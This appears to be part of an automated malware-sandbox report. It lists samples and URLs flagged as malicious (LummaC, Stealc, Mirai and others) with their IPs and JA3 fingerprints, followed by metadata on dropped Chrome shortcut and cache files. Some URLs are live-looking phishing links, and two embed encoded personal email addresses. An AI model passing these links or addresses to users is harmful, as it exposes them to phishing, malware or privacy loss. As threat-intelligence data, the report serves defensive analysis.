Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	arm7.nn-20241120-0508.elf	Get hash	malicious	Mirai, Okiru	Browse	21.45.10.209
	arm.nn-20241120-0508.elf	Get hash	malicious	Mirai, Okiru	Browse	20.124.214.104
	meow.arm7.elf	Get hash	malicious	Unknown	Browse	21.107.60.201
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	20.229.229.121
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	13.107.246.44
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.155.76.73
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.44
	https://atpscan.global.hornetsecurity.com/?d=zgarMAzqF8gJdiyz7BRUZX8-Kt1RoHrhrMmKtaU9kW8&f=VhLn9tqiibnSyqWDnEopjApZtye8WgAc5bwx7BMFWiKwqjA1EcPjZyfvoQy11klP&i=&k=QQhP&m=0jL9ajZ_jxYnMJb2yb4luNRYQCXy24RTS6RPwUyZoAcuBVX0kzGA69aOJSo0d2htwIsi238bOVH3h3HqrhJGfzTuFk7GTjJWYsgIrocXphf5x2p4nZ7S2EABjAck31fG&n=TU5FjsulXTMv8aeSlx257utLr9bUpfdm0dDB4GNEHfOuhOvtIOr62mZHw3PXGZeG&r=qntyoaxGftDLRu_wopiK2t_EdeZaeg9mP15ZZI-qDen_3s7cQ10pAlhKQQnYAIUX&s=c4a8f5ec353e41b8b414bdcf47b33dd5d6b52b0394e0e4a09cc54527f49761c3&u=https%3A%2F%2Fthe1oomisagency.com%2Fthyu%2F	Get hash	malicious	Unknown	Browse	150.171.27.10
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	arm7.nn-20241120-0508.elf	Get hash	malicious	Mirai, Okiru	Browse	21.45.10.209
	arm.nn-20241120-0508.elf	Get hash	malicious	Mirai, Okiru	Browse	20.124.214.104
	meow.arm7.elf	Get hash	malicious	Unknown	Browse	21.107.60.201
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	20.229.229.121
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	13.107.246.44
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.155.76.73
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.44
	https://atpscan.global.hornetsecurity.com/?d=zgarMAzqF8gJdiyz7BRUZX8-Kt1RoHrhrMmKtaU9kW8&f=VhLn9tqiibnSyqWDnEopjApZtye8WgAc5bwx7BMFWiKwqjA1EcPjZyfvoQy11klP&i=&k=QQhP&m=0jL9ajZ_jxYnMJb2yb4luNRYQCXy24RTS6RPwUyZoAcuBVX0kzGA69aOJSo0d2htwIsi238bOVH3h3HqrhJGfzTuFk7GTjJWYsgIrocXphf5x2p4nZ7S2EABjAck31fG&n=TU5FjsulXTMv8aeSlx257utLr9bUpfdm0dDB4GNEHfOuhOvtIOr62mZHw3PXGZeG&r=qntyoaxGftDLRu_wopiK2t_EdeZaeg9mP15ZZI-qDen_3s7cQ10pAlhKQQnYAIUX&s=c4a8f5ec353e41b8b414bdcf47b33dd5d6b52b0394e0e4a09cc54527f49761c3&u=https%3A%2F%2Fthe1oomisagency.com%2Fthyu%2F	Get hash	malicious	Unknown	Browse	150.171.27.10
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	Employee-SSN.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	https://mkwomens.com/iuefoiuherjhkjf/iuyrijkfjkoifjoijreiwiw/e9c4710345f07b1cf048900d092f8cdc/YW5nZWxhLnN1bW1lcnNieUBhc2h1cnN0LmNvbQ==	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	https://s.id/sharedocument	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://volunteeraudio.com	Get hash	malicious	Unknown	Browse	23.1.237.91
	Benefit Enrollment -wZ5nusm.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	https://docs.google.com/drawings/d/14vwfD0EyLvfyX8ls6jwkhRJmCoYW07SUFnqprqeXkTI/preview	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	https://cdn-defac21.artcollective-snapclick.com/api/reg/update.json	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	https://atpscan.global.hornetsecurity.com/?d=zgarMAzqF8gJdiyz7BRUZX8-Kt1RoHrhrMmKtaU9kW8&f=VhLn9tqiibnSyqWDnEopjApZtye8WgAc5bwx7BMFWiKwqjA1EcPjZyfvoQy11klP&i=&k=QQhP&m=0jL9ajZ_jxYnMJb2yb4luNRYQCXy24RTS6RPwUyZoAcuBVX0kzGA69aOJSo0d2htwIsi238bOVH3h3HqrhJGfzTuFk7GTjJWYsgIrocXphf5x2p4nZ7S2EABjAck31fG&n=TU5FjsulXTMv8aeSlx257utLr9bUpfdm0dDB4GNEHfOuhOvtIOr62mZHw3PXGZeG&r=qntyoaxGftDLRu_wopiK2t_EdeZaeg9mP15ZZI-qDen_3s7cQ10pAlhKQQnYAIUX&s=c4a8f5ec353e41b8b414bdcf47b33dd5d6b52b0394e0e4a09cc54527f49761c3&u=https%3A%2F%2Fthe1oomisagency.com%2Fthyu%2F	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	Employee-SSN.html	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	http://google.com	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 04:40:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9723994145030734
Encrypted:	false
SSDEEP:	48:8uCd9Tl18HiidAKZdA19ehwiZUklqehBy+3:87vtKy
MD5:	DC447DFB3FFBFDB03BE78235A462A245
SHA1:	212D42AD5F13D570FBAE888D0AD33BDC0FA1E545
SHA-256:	334BD8D49C7E40264A59E55CDA08B269C2F65581CBA7C29F5B55FB12AED0A4B6
SHA-512:	CFD292D79BF60B5AF3D141CF9983CB9372A9D4F2847773D609DB4CF4AD478496DC050E0845114B7451FC615085155D5CCB68063230DBD27E9410E9B86AEF48D4
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....8...;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItY.-....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY.-....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY.-....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY.-..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtY.-...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............4......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 04:40:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9877994894543183
Encrypted:	false
SSDEEP:	48:8cd9Tl18HiidAKZdA1weh/iZUkAQkqeh6y+2:8OvH9Qzy
MD5:	CD9B49B1F812DC3B83C26EF07F8132B9
SHA1:	30B325462EBB24D8CF5D7962166CAC1500E0A3A6
SHA-256:	4C6918400F8396ED5A03D03F771B86497A5ECA09FA67BE606E5EA797D34D6BC8
SHA-512:	C6201AE661918676C73908F2284EBC1F6A8EE283C5A1FD6AAE49E1AD90B4AAD5C422550BAD1D56E3477FECC5AC1065B176AFEE66473A6A345C8DA05DAC315881
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....Q-u..;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItY.-....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY.-....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY.-....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY.-..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtY.-...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............4......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0014832695143605
Encrypted:	false
SSDEEP:	48:8xGd9Tl1sHiidAKZdA14tseh7sFiZUkmgqeh7sEy+BX:8xUv3nmy
MD5:	0182AB9B41796F0033F71C63B889C34D
SHA1:	9DC1A772D1D1FE431D0C024C604F2C6454E388B1
SHA-256:	D93621BF40EDC3893C2865659862FED3D57FFA1AC97818CB931F63273AFA4CA2
SHA-512:	57F753A6B1F34F425675FE4D73C8312ED83CDA560C69A495508447F253F4597212A4B441BE161907BCEE9D091C91F6302A6ED72838D98FCD48CF7D08A34D0F0C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItY.-....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY.-....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY.-....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY.-..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............4......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 04:40:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9861339026158378
Encrypted:	false
SSDEEP:	48:8Id9Tl18HiidAKZdA1vehDiZUkwqehOy+R:8yvkMy
MD5:	238510BBA10D5B5E527EDCB22215246D
SHA1:	C998318C3A0B814164580C4D1CCC69F183D8E5EF
SHA-256:	8B1B9B2CC1C67BFEEA8F1A992CFC66EEAD2B61599DFCD56EA1CEE9217A76103F
SHA-512:	B4F1000AEE2FDE3E19BAAE633BD4014D8F52F1C5709ADAADEB1A8D85E9EC7984EDDFA23E8349EEE8841C9E04D3530737738D329E965900153060EC647871A44D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......o..;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItY.-....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY.-....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY.-....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY.-..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtY.-...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............4......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 04:40:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9765664405056356
Encrypted:	false
SSDEEP:	48:8Td9Tl18HiidAKZdA1hehBiZUk1W1qehQy+C:8nvk9wy
MD5:	070BBEAE02F0120976BC2FB8BAFE6004
SHA1:	B393D6931DE43BAE569A97D989B6B4FE8EB29C0B
SHA-256:	8EA8E2D5009D260480B575E55D66F0DBD467F5C4A7FA535EA5D181131D37A39D
SHA-512:	6B861DBB68A92FB4743013C0250407FC0E92B87A58004ABEDCF1F637D8444EFBCA591072B41526FC8BF22989BEB940EB6878F378712D0AB067B64BC9B17F9884
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....l\|..;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItY.-....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY.-....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY.-....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY.-..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtY.-...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............4......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 04:40:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9854374417038336
Encrypted:	false
SSDEEP:	48:8Ud9Tl18HiidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbmy+yT+:8mvKT/TbxWOvTbmy7T
MD5:	2FEFD7908F04736DB76718756E2635D2
SHA1:	D0D809A6B87C2EFB2A9FDC687E184A93D0C2CBF4
SHA-256:	43C449960EA629FEC24387A46E6516C5CDB41D9B7955D9855C1CFB75E94BBE9E
SHA-512:	729D7123A37826866D272DF81E2113829068AF536A178FA6E0633BC5AEDDDDF30C92848A0D5B0AB9112BE66E0F3330C6B0C9113307081CEFEC6E79A5E264A1A0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....KJf..;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItY.-....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY.-....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY.-....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY.-..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtY.-...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............4......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
